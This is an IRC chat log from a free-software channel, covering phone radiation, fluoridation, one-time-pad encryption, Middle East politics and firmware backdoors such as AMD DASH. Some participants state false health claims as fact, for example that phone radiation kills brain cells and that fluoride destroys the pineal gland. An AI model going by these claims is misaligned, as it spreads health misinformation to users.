| r_schestowitz | I avoided phones originally for this reasons | Oct 04 18:22 |
| gde33 | or like the DDT propaganda | Oct 04 18:22 |
| r_schestowitz | later because of spying | Oct 04 18:22 |
| cubexyz | I think xchat has a file for that... let me check | Oct 04 18:22 |
| r_schestowitz | just the last few lines | Oct 04 18:23 |
| MinceR | r_schestowitz: what's the last line you saw? | Oct 04 18:23 |
| r_schestowitz | [23:17] <schestowitz> now there are PDAs | Oct 04 18:23 |
| MinceR | gde33: how much power does a modern cell phone radio output? | Oct 04 18:23 |
| cubexyz | http://www.maxhost.org/other/scrollback-now.txt | Oct 04 18:23 |
| r_schestowitz | then the connection dropped in the whole house afaict | Oct 04 18:23 |
| cubexyz | how's that? | Oct 04 18:23 |
| r_schestowitz | fast | Oct 04 18:24 |
| MinceR | r_schestowitz: is pastebin.ca ok? | Oct 04 18:24 |
| MinceR | r_schestowitz: also, is one month expiry ok? | Oct 04 18:25 |
| r_schestowitz | cubexyz: will make up for it in a fortnight when I grab logs from Canada | Oct 04 18:25 |
| cubexyz | http://www.maxhost.org/other/scroll-more.txt | Oct 04 18:25 |
| cubexyz | there, that goes a bit farther back | Oct 04 18:25 |
| r_schestowitz | MinceR: just lost a few lines, I think, no big deal | Oct 04 18:25 |
| gde33 | MinceR: compared to what? background radiation? oh - its fucking HUGE | Oct 04 18:25 |
| MinceR | gde33: compared to something that changes the temperature of a spoonful of water appreciably | Oct 04 18:25 |
| gde33 | temprature is one of the industry talking points | Oct 04 18:26 |
| MinceR | no, it's physics | Oct 04 18:26 |
| gde33 | so is brain cancer | Oct 04 18:26 |
| gde33 | I'm smoking right now btw | Oct 04 18:26 |
| cubexyz | I don't use cell phones | Oct 04 18:26 |
| MinceR | i've also heard that microwaving "erases the water's DNA" :> | Oct 04 18:26 |
| gde33 | a basic in medical science is to listen to the patients and document the sympthoms | Oct 04 18:27 |
| cubexyz | are LIFI devices available? | Oct 04 18:27 |
| gde33 | if that data is to be discarded you are indeed in physics not in medical science | Oct 04 18:27 |
| MinceR | so you also need to psychologically evaluate the patient | Oct 04 18:28 |
| r_schestowitz | "XFaCE r_schestowitz: https://twitter.com/wikileaks/status/647410648079577090" | Oct 04 18:28 |
| -TechrightsBot-tr/#techrights-@wikileaks: Online 'gender wars' instrumentalized by UN for mass online #censorship https://t.co/jJlCWge3VK pushed by Sweden: http://t.co/AhyiL6fRab | Oct 04 18:28 | |
| -TechrightsBot-tr/#techrights--> www.washingtonpost.com | The United Nations has a radical, dangerous vision for the future of the Web - The Washington Post | Oct 04 18:28 | |
| MinceR | the nocebo effect would hurt them noticeably | Oct 04 18:28 |
| -TechrightsBot-tr/#techrights--> www.stockholminternetforum.se | First #SIF15 session revealed – Gender based violence online | Stockholm Internet Forum | Oct 04 18:28 | |
| r_schestowitz | "XFaCE r_schestowitz: https://www.washingtonpost.com/news/the-intersect/wp/2015/09/24/the-united-nations-has-a-radical-dangerous-vision-for-the-future-of-the-web/ " | Oct 04 18:28 |
| r_schestowitz | XFaCE: thanks, seen that | Oct 04 18:28 |
| r_schestowitz | also heard of the latter | Oct 04 18:28 |
| gde33 | if a physicist says you are imagining stuff he is practishing pseudoscience | Oct 04 18:28 |
| r_schestowitz | they're tired of using religion and "feel offended" I guess | Oct 04 18:29 |
| r_schestowitz | they now appear to >50% of the population | Oct 04 18:29 |
| MinceR | what is a person practicing if they make up reasons to be afraid of anything new? | Oct 04 18:29 |
| cubexyz | MinceR, I'm windows-10-aphobic! | Oct 04 18:29 |
| gde33 | no doctor approaches his patient by starting out with the assumption she is imagining stuff | Oct 04 18:29 |
| cubexyz | it's real | Oct 04 18:29 |
| msb_ | The injury from microwaves is not from heating, but from the difference in microwave permeability between chromosomes and cytoplasm (or nucleoplasm). The result is like iron filings lining up in a magnetic field. This causes breaks or other changes in the chromosomes of dividing cells. At much lower field strength than causes heating. | Oct 04 18:29 |
| MinceR | cubexyz: but you know what vista10 is like | Oct 04 18:29 |
| gde33 | MinceR: that could be a fair conclusion | Oct 04 18:30 |
| gde33 | MinceR: not a point to start your investigation from | Oct 04 18:30 |
| gde33 | a psychologist is trained to conclude if people are afraid of new things or not | Oct 04 18:31 |
| gde33 | well outside the realm of physics ;) | Oct 04 18:31 |
| MinceR | gde33: are you trained to conclude of microwaves emitted by mobile devices harm people or not? | Oct 04 18:31 |
| MinceR | s/of/if/ | Oct 04 18:31 |
| cubexyz | I'd say it's prefectly normal not to automatically accept new things until you study them a bit | Oct 04 18:32 |
| gde33 | MinceR: I follow the research from time to time | Oct 04 18:32 |
| gde33 | it is one of the differences between the US and Europe. In the US things are safe until proven unsafe. | Oct 04 18:32 |
| cubexyz | would you eat a mushroom you didn't know about? Of course not | Oct 04 18:33 |
| gde33 | Here they have to fabricate a report of safety first | Oct 04 18:33 |
| gde33 | haha | Oct 04 18:33 |
| gde33 | would you take a vacine if the ingredients are not disclosed? | Oct 04 18:33 |
| cubexyz | probably not | Oct 04 18:33 |
| gde33 | is it up to a dentist to determine the effect of fluoride? | Oct 04 18:33 |
| MinceR | cubexyz: would you eat a mushroom dish served at a reastaurant if you didn't know that species of mushroom? | Oct 04 18:33 |
| gde33 | do dentists know how it kills neurons? | Oct 04 18:34 |
| cubexyz | MinceR, on pizza I have | Oct 04 18:34 |
| MinceR | i don't think fluoridated toothpaste is evaluated to allow to the market by dentists | Oct 04 18:34 |
| r_schestowitz | " | Oct 04 18:34 |
| r_schestowitz | kyleriggsomeone told me you are into the 9/11 stuffSep 26 04:24 | Oct 04 18:34 |
| r_schestowitz | kyleriggon google groups | Oct 04 18:34 |
| r_schestowitz | " | Oct 04 18:34 |
| cubexyz | on the forest trail, no :) | Oct 04 18:34 |
| r_schestowitz | Oh dear... | Oct 04 18:34 |
| MinceR | s/reast/rest/ | Oct 04 18:34 |
| gde33 | it is perfectly illegal here to either fluoridate water or to transport food prepaired with it | Oct 04 18:34 |
| MinceR | lol | Oct 04 18:34 |
| msb_ | Received field strength varies as the inverse square of the distance from the antenna. So if you put the antenna at the end of a 10-foot cable, or on a repeater at the end of a 10-foot ethernet cable, you'll be fine. | Oct 04 18:35 |
| MinceR | afaik water is not fluoridated in europe | Oct 04 18:35 |
| r_schestowitz | water here is clean, with little need for treatment | Oct 04 18:35 |
| r_schestowitz | here as in manchester, not london | Oct 04 18:35 |
| MinceR | though there are places (at least in north america) where the water contains fluoride naturally | Oct 04 18:35 |
| r_schestowitz | water has has traces of arsenic in it, IIRC, in some places | Oct 04 18:36 |
| r_schestowitz | and chlorine | Oct 04 18:36 |
| cubexyz | I assume flouridation did help stop cavities | Oct 04 18:36 |
| gde33 | the phone radiation kills a ton of brain cells but we can function just fine - just like if we get drunk every day | Oct 04 18:36 |
| cubexyz | at least that's what the experts said | Oct 04 18:36 |
| gde33 | until you have some kind of condition of course | Oct 04 18:36 |
| r_schestowitz | the obsession with flouride shows that some people stick to just one set of theories, like the anti-vaxxers | Oct 04 18:36 |
| r_schestowitz | same regarding toothpastes | Oct 04 18:36 |
| gde33 | arsenic and chorine are aweful | Oct 04 18:37 |
| MinceR | i think water fluoridation with the purpose of having it contact teeth is about as wasteful a method as they could possibly find | Oct 04 18:37 |
| r_schestowitz | I thought it's the opposite | Oct 04 18:37 |
| gde33 | I dont see an excuse there to just spike the drink with an artifical stupefier | Oct 04 18:37 |
| MinceR | you wash stuff with the stuff, eat it, drink it, water the plants with it | Oct 04 18:37 |
| MinceR | when all you needed is to put some in your toothpaste | Oct 04 18:37 |
| r_schestowitz | that the reason water had flouride in it is toothpastes washed down the sink, water later recycled | Oct 04 18:37 |
| MinceR | which regularly contacts the teeth as its purpose | Oct 04 18:37 |
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| cubexyz | probably your calcium intake would play a big role | Oct 04 18:38 |
| msb_ | Fluoride (note spelling) calcifies and destr0ys the pineal gland, which otherwise would produce melatonin and DMT. | Oct 04 18:38 |
| cubexyz | how would you even know if you're getting the right amount? | Oct 04 18:38 |
| gde33 | it is a waste product that would cost a ton of cash to process if they couldnt dump it in the drink | Oct 04 18:38 |
| gde33 | however you want to see it, it is a type of forced medication without required approval from the patient. | Oct 04 18:39 |
| MinceR | indeed | Oct 04 18:39 |
| cubexyz | evidently fluoride helps remineralization | Oct 04 18:40 |
| gde33 | people who are more sensitive to electricity usually have some kind of condition | Oct 04 18:40 |
| cubexyz | you don't want to lose your teeth | Oct 04 18:40 |
| gde33 | electicity + phones | Oct 04 18:40 |
| MinceR | keep them in a pouch! | Oct 04 18:40 |
| gde33 | the classic example is lead tubing | Oct 04 18:40 |
| r_schestowitz | https://twitter.com/FrancisJeffrey7/status/650802363091947520 | Oct 04 18:40 |
| -TechrightsBot-tr/#techrights-@FrancisJeffrey7: @petehague @schestowitz @wikileaks "Destroy...Militarism ==> Enlist ?" ? ? ? | Oct 04 18:40 | |
| gde33 | people drinking from that are loaded up with metals | Oct 04 18:40 |
| MinceR | phones should not expose any electrically live parts | Oct 04 18:40 |
| MinceR | to the user | Oct 04 18:40 |
| gde33 | that obviously react to microwaves | Oct 04 18:40 |
| MinceR | afaik only the retards working at "engineering" at crApple do that | Oct 04 18:41 |
| cubexyz | I hear that toothpaste before the 1970s didn't have fluoride? | Oct 04 18:42 |
| gde33 | reduced health from lead + great reception + global gsm reception = you are going to have a bad time | Oct 04 18:42 |
| MinceR | dunno, i wasn't born back then, afaik | Oct 04 18:42 |
| MinceR | lead? | Oct 04 18:42 |
| MinceR | oh, lead tubing | Oct 04 18:42 |
| r_schestowitz | looks like "kylerigg" was clearly a troll | Oct 04 18:43 |
| MinceR | well, that's bad regardless of cellphone technology | Oct 04 18:43 |
| r_schestowitz | we haven't had those here for quite a while | Oct 04 18:43 |
| gde33 | MinceR: and/or say old fillings? | Oct 04 18:43 |
| r_schestowitz | but that person came from COLA/USENET, so no surprise | Oct 04 18:43 |
| MinceR | we do, but we don't ban them :> | Oct 04 18:43 |
| r_schestowitz | ignore tham till they get bored and leave | Oct 04 18:43 |
| MinceR | gde33: that's unfortunate. now we have polymer fillings | Oct 04 18:43 |
| cubexyz | I don't ban anyone because I can't remember my password | Oct 04 18:43 |
| r_schestowitz | free speech != right to an audience | Oct 04 18:43 |
| cubexyz | too many passwords | Oct 04 18:43 |
| MinceR | exactly | Oct 04 18:43 |
| gde33 | MinceR: if the metals are not the same you get a kind of mouth battery -.- | Oct 04 18:44 |
| MinceR | :> | Oct 04 18:44 |
| MinceR | MRI could be fun too, i guess | Oct 04 18:44 |
| gde33 | leaching mercury etc | Oct 04 18:44 |
| r_schestowitz | "kylerigg: we're not obligated to listen to what you have to say. that is not censorship." | Oct 04 18:44 |
| r_schestowitz | "cubexyz: Leave kylerigg alone!" | Oct 04 18:44 |
| r_schestowitz | msb_ said that | Oct 04 18:45 |
| r_schestowitz | oh dear... | Oct 04 18:45 |
| cubexyz | in the olden days a kick would have bee immiment | Oct 04 18:45 |
| cubexyz | s/bee/been/ | Oct 04 18:45 |
| gde33 | I think we need some type of new hardware design language to bring coding back to the roots | Oct 04 18:47 |
| r_schestowitz | came from 108-162-134-2.cable.teksavvy.com | Oct 04 18:47 |
| MinceR | what would it be like? old ThinkPad? :> | Oct 04 18:47 |
| gde33 | you can just combine a bunch of components and call it unicornFooBar | Oct 04 18:48 |
| gde33 | that should be familiar enough | Oct 04 18:48 |
| cubexyz | people still build z80 computers | Oct 04 18:48 |
| r_schestowitz | Canadian | Oct 04 18:48 |
| cubexyz | it's just a bit too primitive for your main computer | Oct 04 18:48 |
| gde33 | then make a nice runtime for virtual hardware :) | Oct 04 18:48 |
| gde33 | if it gets popular you bake it into a product | Oct 04 18:49 |
| gde33 | like an usb stick with an irc client on it | Oct 04 18:49 |
| cubexyz | there's FPGA boards | Oct 04 18:49 |
| gde33 | if you have enough of those the mobo design could allow for new freedoms :) | Oct 04 18:49 |
| cubexyz | even FPGA PDP-11 if you want | Oct 04 18:49 |
| gde33 | could even disable part of the 1.0 hardware and simulate the 1.2 | Oct 04 18:51 |
| MinceR | but no fully free FPGA yet, afaik | Oct 04 18:51 |
| gde33 | I hear ROM might come back based on cd burning tech | Oct 04 18:51 |
| gde33 | would be nice to have ROM again | Oct 04 18:51 |
| cubexyz | the BIOS should be able to lock out writes | Oct 04 18:52 |
| gde33 | everything in software is teribly insecure | Oct 04 18:52 |
| cubexyz | at least in the older motherboards, say 1997 to 2001 or so | Oct 04 18:52 |
| cubexyz | they really should have used a jumper, but data centres don't like jumpers | Oct 04 18:53 |
| gde33 | heh | Oct 04 18:53 |
| MinceR | they should at least have a DIP switch | Oct 04 18:54 |
| gde33 | imagine the performance when you mass produce virtual hardware as physical thingies | Oct 04 18:54 |
| cubexyz | they used to have dip switches! | Oct 04 18:54 |
| MinceR | and make sure it's unnecessary to flash the most basic stuff most of the time | Oct 04 18:55 |
| cubexyz | I can definitely remember those | Oct 04 18:55 |
| cubexyz | bus speed had a jumper | Oct 04 18:55 |
| gde33 | some old paper described a damaged crystal with a laser and some photocells able to produce a random string many TB long | Oct 04 18:56 |
| gde33 | bake those in the hardware, keep a sub set on the company server | Oct 04 18:56 |
| gde33 | an undisclosed sub set ofc ;) | Oct 04 18:56 |
| gde33 | then can have unhackable communication | Oct 04 18:56 |
| gde33 | a bit like every session starts with a new password | Oct 04 18:57 |
| gde33 | ehh I mean every communication | Oct 04 18:57 |
| gde33 | every byte its own unique encryption | Oct 04 18:57 |
| MinceR | can you damage two crystals identically so they'll produce the same string? | Oct 04 18:59 |
| gde33 | no | Oct 04 19:00 |
| MinceR | so how will both sides know the same key? | Oct 04 19:00 |
| gde33 | you copy a sub set onto a drive | Oct 04 19:00 |
| MinceR | oh, i see | Oct 04 19:00 |
| gde33 | say 10 GB of random locations | Oct 04 19:00 |
| MinceR | well, they do something like that | Oct 04 19:00 |
| MinceR | https://en.wikipedia.org/wiki/One-time_pad#Uses | Oct 04 19:01 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | One-time pad - Wikipedia, the free encyclopedia [ http://ur1.ca/nwyrd ] | Oct 04 19:01 | |
| gde33 | could be more fun if reading 10 GB would take a few days | Oct 04 19:01 |
| gde33 | then copying the whole 10 TB would take a lot of time | Oct 04 19:01 |
| gde33 | creating known crystals would be doable but deploying them in some kind of hack wouldnt work | Oct 04 19:03 |
| gde33 | I could steal your key crystal and copy it in 20 000 days then put it back without you noticing it | Oct 04 19:03 |
| gde33 | haha | Oct 04 19:03 |
| MinceR | :> | Oct 04 19:05 |
| gde33 | the man in the middle wouldnt be able to decode anything | Oct 04 19:05 |
| MinceR | OTOH, if someone sneakily replaces the crystal in both endpoints to non-matching replacements they have copies of, they could do an MITM attack | Oct 04 19:07 |
| gde33 | if the program is on a chip that talks directly to the monitor you wouldnt even be able to hack it if you control the machine | Oct 04 19:07 |
| MinceR | [Alice] key0 <-> key0 [Bob] ===> [Alice] key1 <-> key1 [attacker] key2 <-> key2 [Bob] | Oct 04 19:07 |
| gde33 | I'm sure the smart hacker would be able to figure out something - but it beats passwords | Oct 04 19:07 |
| r_schestowitz | finally caught up with 2 week's absence from irc... | Oct 04 19:08 |
| MinceR | :) | Oct 04 19:08 |
| MinceR | i never catch up with my absence | Oct 04 19:08 |
| r_schestowitz | posted some funny MinceR things to social media | Oct 04 19:08 |
| gde33 | I have 10-20 k news feed subscriptions, I only try read the latest 1000 | Oct 04 19:08 |
| r_schestowitz | MinceR: depends if it's emails you get, comments you receive, channel or just some random stuff online | Oct 04 19:08 |
| r_schestowitz | rss not the highest priority for me, except for some sites | Oct 04 19:09 |
| gde33 | I'm always days behind | Oct 04 19:09 |
| r_schestowitz | not opensource.redhat | Oct 04 19:09 |
| *MinceR saw some of them | Oct 04 19:09 | |
| r_schestowitz | or ostatis.omalim | Oct 04 19:09 |
| r_schestowitz | or miguel de icaza's blog | Oct 04 19:09 |
| r_schestowitz | I _like_ softpedia | Oct 04 19:10 |
| cubexyz | http://www.maxhost.org/other/meanwhile-at-volkswagen.jpg | Oct 04 19:10 |
| cubexyz | :) | Oct 04 19:10 |
| cubexyz | I like the green checkmark | Oct 04 19:10 |
| cubexyz | http://www.maxhost.org/other/meanwhile-at-volkswagen-part-2.gif | Oct 04 19:19 |
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| TweetTuxMachines | @tuxmachines How Debian managed the systemd transition | Oct 04 19:36 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | How Debian managed the systemd transition | Tux Machines | Oct 04 19:36 | |
| TweetTuxMachines | @tuxmachines Linux 4.3-rc4 http://t.co/Swu7AZKQOJ | Oct 04 19:36 |
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| TweetTuxMachines | @tuxmachines Netrunner Rolling 2015.09 Finally Migrates to | Oct 04 19:50 |
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| MinceR | http://blog.dilbert.com/post/130481922096/the-american-gun-problem-and-how-a-master-wizard#_=_ | Oct 04 20:09 |
| cubexyz | what's with the underscores and equal sign at the end of the URL? | Oct 04 20:13 |
| MinceR | some tumblr magic | Oct 04 20:16 |
| MinceR | afaict it doesn't do anything | Oct 04 20:17 |
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| msb_ | wiki: 11,208 gun murders in 2013. Deaths from old age per year -- population / 70 = 4,500,000 Probability of getting killed with a gun = 1 in 400. | Oct 04 20:51 |
| msb_ | Murders committed by US govt in last 14 years = 2,000,000 | Oct 04 20:52 |
| *MinceR yawns | Oct 04 20:52 | |
| msb_ | Possibility of US govt committing a large number of murders in the US = unknown, but why should the murderous psychopaths who run the US govt be less likely to kill Americans than Iraqis or Afghanis? | Oct 04 20:53 |
| msb_ | MinceR should get some sleep if his brain isn't working. | Oct 04 20:54 |
| MinceR | and msb_ gets right to the personal attacks | Oct 04 20:54 |
| TweetTuxMachines | @tuxmachines PeaZip 5.8.0 Open Source Archive Manager Has | Oct 04 20:54 |
| TweetTuxMachines | UTF-8 Support, Based on 7z 15.07 | Oct 04 20:54 |
| TweetTuxMachines | http://t.co/bhEEiAHwrp (linux.softpedia.com) | Oct 04 20:54 |
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| MinceR | scraping the bottom of the barrel | Oct 04 20:54 |
| TweetTuxMachines | @tuxmachines Confirmation Of Substance Designer Being Ported | Oct 04 20:54 |
| TweetTuxMachines | To Linux http://t.co/PZ3NLheihD | Oct 04 20:55 |
| TweetTuxMachines | (www.phoronix.com) | Oct 04 20:55 |
| -TechrightsBot-tr/#techrights-www.phoronix.com | Confirmation Of Substance Designer Being Ported To Linux - Phoronix | Oct 04 20:55 | |
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| TweetTuxMachines | @tuxmachines Linux Kernel 4.1.10 LTS Is Now Available for | Oct 04 20:55 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Kernel 4.1.10 LTS Is Now Available for Download with Networking Fixes | Tux Machines | Oct 04 20:55 | |
| *MinceR wonders if the russian government is getting their money's worth | Oct 04 20:55 | |
| TweetTuxMachines | @tuxmachines Huawei Watch Review: Best Android Wear | Oct 04 20:55 |
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| msb_ | "MinceR yawns" is a personal attack. So is "MinceR wonders if the russian government is getting their money's worth" | Oct 04 20:55 |
| *MinceR 's biological processes are personal attacks | Oct 04 20:56 | |
| MinceR | everybody and everything is out to get msb_, it seems | Oct 04 20:56 |
| MinceR | even the arrow of time is out to get msb_ | Oct 04 20:56 |
| MinceR | http://www.cracked.com/blog/why-comparing-donald-trump-to-hitler-makes-perfect-sense/ | Oct 04 20:59 |
| -TechrightsBot-tr/#techrights-www.cracked.com | 5 Ways Donald Trump Perfectly Mirrors Hitler's Rise To Power | Cracked.com [ http://ur1.ca/nwzht ] | Oct 04 20:59 | |
| msb_ | The US govt has committed about 180 times as many murders in its 21st century military rampage as the number of people killed by guns in the US every year. | Oct 04 20:59 |
| MinceR | and now, a word from msb_'s sponsors... | Oct 04 21:01 |
| msb_ | Unless and until the US govt gets a sane leader, like Bernie Sanders (not H Clinton, who joyfully murdered Libya), Americans would do well to have guns ready to defend themselves against their murderous psychopath government. That said, taking guns away from people with a proved history of violence or actual threats of violence would be a good idea. | Oct 04 21:03 |
| *TweetTuxMachines @mcjsbusiness favourited 'Linux Kernel 4.1.10 LTS Is Now Available for...' | Oct 04 21:04 | |
| *TweetTuxMachines @mcjsbusiness retweeted @tuxmachines: 'Linux Kernel 4.1.10 LTS Is Now Available for...' | Oct 04 21:04 | |
| msb_ | RT just did a story about the Syrian Observatory For Human Rights, the source for many reports that Russia is bombing civilians in Syria. It turns out to be one guy in a house in Coventry England who hates Assad. | Oct 04 21:14 |
| msb_ | He wouldn't talk on camera because he says people are trying to kill him. | Oct 04 21:15 |
| msb_ | RT also showed about 5 pictures of dead people supposedly caused by Russian bombing in Syria, that were actually from Iraq, or last year, etc. | Oct 04 21:18 |
| MinceR | https://en.wikipedia.org/wiki/Human_rights_in_Russia | Oct 04 21:22 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Human rights in Russia - Wikipedia, the free encyclopedia [ http://ur1.ca/nwzlv ] | Oct 04 21:22 | |
| msb_ | This article, by Robert Parry, a long-time and highly respected US journalist explains why the US and Israel don't want to get rid of Al Qaeda (Al Nusrah) or ISIL in Syria. For one thing, it would make it more difficult for Israel to attack the Palestinians again. http://www.commondreams.org/views/2015/10/02/should-us-ally-al-qaeda-syria | Oct 04 21:26 |
| -TechrightsBot-tr/#techrights-www.commondreams.org | Should US Ally with Al Qaeda in Syria? | Common Dreams | Breaking News & Views for the Progressive Community [ http://ur1.ca/nwzmh ] | Oct 04 21:26 | |
| msb_ | The historical origins of the US/Israeli attacks on Syria and Assad, from the 1990s, also from Robert Parry: https://consortiumnews.com/2013/03/20/the-mysterious-why-of-the-iraq-war/ | Oct 04 21:38 |
| -TechrightsBot-tr/#techrights-consortiumnews.com | The Mysterious Why of the Iraq War | Consortiumnews [ http://ur1.ca/nwzob ] | Oct 04 21:38 | |
| MinceR | http://img.izismile.com/img/img8/20151001/1000/daily_gifdump_921_09.gif | Oct 04 21:52 |
| TweetTuxMachines | @tuxmachines Kubuntu 15.10 (Wily Werewolf) Now Has Latest | Oct 04 21:58 |
| TweetTuxMachines | KDE Plasma 5.4.2 http://t.co/NipCpSI2r9 | Oct 04 21:58 |
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| msb_ | http://www.ifamericansknew.org/us_ints/nc-pilger.html Written by the award-winning British jounalist John Pilger (https://en.wikipedia.org/wiki/John_Pilger) this article covers the Neocon/Likud (ultra-fascist) organization PNAC and its position paper that says to carry out its attacks on Middle East nations, Americans will require for motivation "a new Pearl Harbor". Guess what that turned out to be! | Oct 04 22:10 |
| -TechrightsBot-tr/#techrights-www.ifamericansknew.org | “A New Pearl Harbor” [ http://ur1.ca/nwztq ] | Oct 04 22:10 | |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | John Pilger - Wikipedia, the free encyclopedia [ http://ur1.ca/nwztr ] | Oct 04 22:10 | |
| msb_ | It's easy to understand the world situation if you go back to the 1980s, when Reagan armed and financed the jihadi Mujahideen to defeat the Russian-allied liberal socialist government in Afghanistan. That led to the Taliban taking over, and the Mujahideen became Al Qaeda. The Neocons/Likudniks took it from there to the present. | Oct 04 22:33 |
| cubexyz | interesting | Oct 04 22:47 |
| cubexyz | I had a discussion with the PDP-11 experts | Oct 04 22:47 |
| cubexyz | there's no PDP-11 BIOS, it didn't exist | Oct 04 22:47 |
| cubexyz | and they declare the PC as 'broken hardware' | Oct 04 22:48 |
| cubexyz | the PDP-11 had only boot roms | Oct 04 22:49 |
| msb_ | For the PC being "broken hardware" I sure had a great time with it! | Oct 04 23:01 |
| cubexyz | back in 1984 I remember reading articles that were critical of the IBM PC | Oct 04 23:02 |
| msb_ | Far more powerful than the PDP-8/PDP-12 I was used to, much cheaper, and mine, all mine! | Oct 04 23:02 |
| msb_ | I eventually hung a color display on it with a high-res graphic card, a 720KB floppy, a 15MB hard drive, and bought the manual with the schematics and BIOS listing. | Oct 04 23:04 |
| msb_ | Bought the MS and Borland (much better) C compilers and taught myself programming. | Oct 04 23:05 |
| cubexyz | I think my first 286 had 1 meg of memory | Oct 04 23:06 |
| cubexyz | 640k with 384k extended memory | Oct 04 23:07 |
| cubexyz | no MMU and a rather awkward x86 memory segmentation scheme | Oct 04 23:08 |
| msb_ | I think you said I want an AMD mobo without DASH in the BIOS. But isn't DASH a microprocessor inside the CPU that can be activated without BIOS assistance? | Oct 04 23:08 |
| cubexyz | that's a good question | Oct 04 23:09 |
| cubexyz | part of it must be in the BIOS though | Oct 04 23:10 |
| msb_ | But can the govt get in without that part? | Oct 04 23:10 |
| msb_ | I want my 8 cores! Waah! | Oct 04 23:11 |
| cubexyz | with DASH someone could take full control of your computer | Oct 04 23:12 |
| msb_ | Can DASH be defeated by constantly overwriting the section of himem that it uses (if it works like AMT)? | Oct 04 23:12 |
| cubexyz | also DASH has a kill switch | Oct 04 23:12 |
| msb_ | I know! I read all your stuff! | Oct 04 23:13 |
| cubexyz | remember that there's a part of memory reserved for DASH that you can't write to | Oct 04 23:13 |
| msb_ | If the govt can get into DASH via the NIC, why can't I? | Oct 04 23:15 |
| cubexyz | you can | Oct 04 23:15 |
| msb_ | Hoo-hah! Then I can whack it! | Oct 04 23:16 |
| cubexyz | there are even advantages to using DASH, such as remote control of your computer | Oct 04 23:16 |
| cubexyz | I'm just worried that the bad guys and NSA can do the same | Oct 04 23:17 |
| cubexyz | it seems unnecessary to me as I can always do that via ssh | Oct 04 23:17 |
| cubexyz | DASH control seems more severe | Oct 04 23:18 |
| cubexyz | in theory if your laptop is stolen, DASH can kill it so the bad guy can't use it | Oct 04 23:19 |
| cubexyz | that's the idea anyways | Oct 04 23:19 |
| msb_ | Can a good stream-following firewall in a router keep the baddies out? | Oct 04 23:20 |
| cubexyz | see, DASH operates at a lower level that the OS | Oct 04 23:22 |
| cubexyz | that's the problem | Oct 04 23:23 |
| cubexyz | a smart hacker could turn your fans off | Oct 04 23:24 |
| msb_ | But the govt would still have to activate DASH by sending it some kind of packet(s). Can I keep those out with a firewall in a router? | Oct 04 23:24 |
| cubexyz | NSA can hack your router | Oct 04 23:25 |
| cubexyz | so I'd say probably it's not a great defense | Oct 04 23:25 |
| cubexyz | I know some hackers can KO the router... make it unresponsive | Oct 04 23:25 |
| cubexyz | that's annoying but not too serious | Oct 04 23:26 |
| cubexyz | I mean the whole DASH thing is a back door into the computer | Oct 04 23:27 |
| msb_ | Are there any secure routers? Could I make one from an SBC? | Oct 04 23:27 |
| cubexyz | the bad guys sometimes attack your ISP as well | Oct 04 23:28 |
| cubexyz | well yes, if you programmed the router yourself it would be quite hard to attack | Oct 04 23:29 |
| msb_ | Well, then I get disconnected, but I still have my data. | Oct 04 23:29 |
| cubexyz | sure | Oct 04 23:29 |
| cubexyz | business grade cisco routers are better than the store bought ones | Oct 04 23:30 |
| cubexyz | more expensive too | Oct 04 23:30 |
| msb_ | There's FOSS code for routers, so I could start from there. | Oct 04 23:30 |
| msb_ | Are the packets that activate DASH well defined? | Oct 04 23:30 |
| msb_ | I could make the router examine all packets and drop those (and give an alarm). | Oct 04 23:31 |
| cubexyz | it would be a lot simpler if there was no DASH capability on the motherboard | Oct 04 23:32 |
| msb_ | Are you sure it's required to access DASH in the CPU? | Oct 04 23:33 |
| msb_ | brb | Oct 04 23:34 |
| cubexyz | I think Intel Vpro is actually inside the CPU so AMD's version probably is as well | Oct 04 23:35 |
| cubexyz | it could be doing all sorts of stuff which is invisible to the user | Oct 04 23:36 |
| cubexyz | there's a 3G chip _inside_ the CPU | Oct 04 23:37 |
| cubexyz | a second processor inside the main one | Oct 04 23:37 |
| cubexyz | so the question is, does the NSA have a back door into these CPUs | Oct 04 23:38 |
| cubexyz | I don't see what the averager user can do to stop that | Oct 04 23:39 |
| cubexyz | Intel confirmed they have a kill switch | Oct 04 23:40 |
| cubexyz | it gets even better... | Oct 04 23:40 |
| cubexyz | there's out-of-band communications that a normal user can't even see or use | Oct 04 23:40 |
| cubexyz | it's a bit of a problem | Oct 04 23:41 |
| cubexyz | you get a specific RF knock-knock and... well who knows | Oct 04 23:45 |
| cubexyz | maybe look at the snowden stuff if there's a torrent or something | Oct 04 23:47 |
| msb_ | But if I don't use wifi at all -- short the antenna to ground if necessary -- then my only connection is via the TV cable. So if I put a total packet inspection router in the wire to the cable modem, I should be able to stop all DASH-bound packets, if I can identify them. | Oct 04 23:51 |
| msb_ | brb | Oct 04 23:55 |
| cubexyz | "commands can be received via 3G signals, ethernet or other internet connections | Oct 05 00:16 |
| cubexyz | " | Oct 05 00:16 |
| cubexyz | there are two TCP/IP stacks! | Oct 05 00:23 |
| cubexyz | one in the firmware, and one in the OS | Oct 05 00:23 |
| msb_ | Right, but I have complete control of what's connected to the NIC(s), and can eliminate everything but the ethernet cable to my cable-modem. | Oct 05 00:42 |
| msb_ | Since DASH is supposed to be for corps to control their computers, the DASH commo protocol must be available. | Oct 05 00:45 |
| msb_ | Plus, the router SBC or another one on my side of the router, can keep sending DASH packets shutting it down. | Oct 05 00:50 |
| msb_ | cubexyz: This could be done by anyone, even someone using wifi, if they put the wifi transceiver on the far side of the router. | Oct 05 00:51 |
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| r_schestowitz | https://joindiaspora.com/posts/6665739 | Oct 05 03:26 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Donald #Rump http://gfycat.com/AdolescentEvergreenElephantbeetle | Oct 05 03:26 | |
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| r_schestowitz | "Manson looks like a Klingon, doesn’t he?" | Oct 05 03:26 |
| r_schestowitz | I didn't know it was Manson | Oct 05 03:26 |
| msb_ | The TV show Madame Secretary, starring Tea Leoni, has started its second season, this episode directed by Morgan Freeman. It is absolutely wonderful! | Oct 05 03:44 |
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| TweetTuxMachines | @tuxmachines Wind River Continues Advancing Development of | Oct 05 04:40 |
| TweetTuxMachines | IoT Devices with Latest Version of | Oct 05 04:40 |
| TweetTuxMachines | Market-Leading Linux Offering | Oct 05 04:40 |
| TweetTuxMachines | http://t.co/rbvy94nz3m (www.tuxmachines.org) | Oct 05 04:40 |
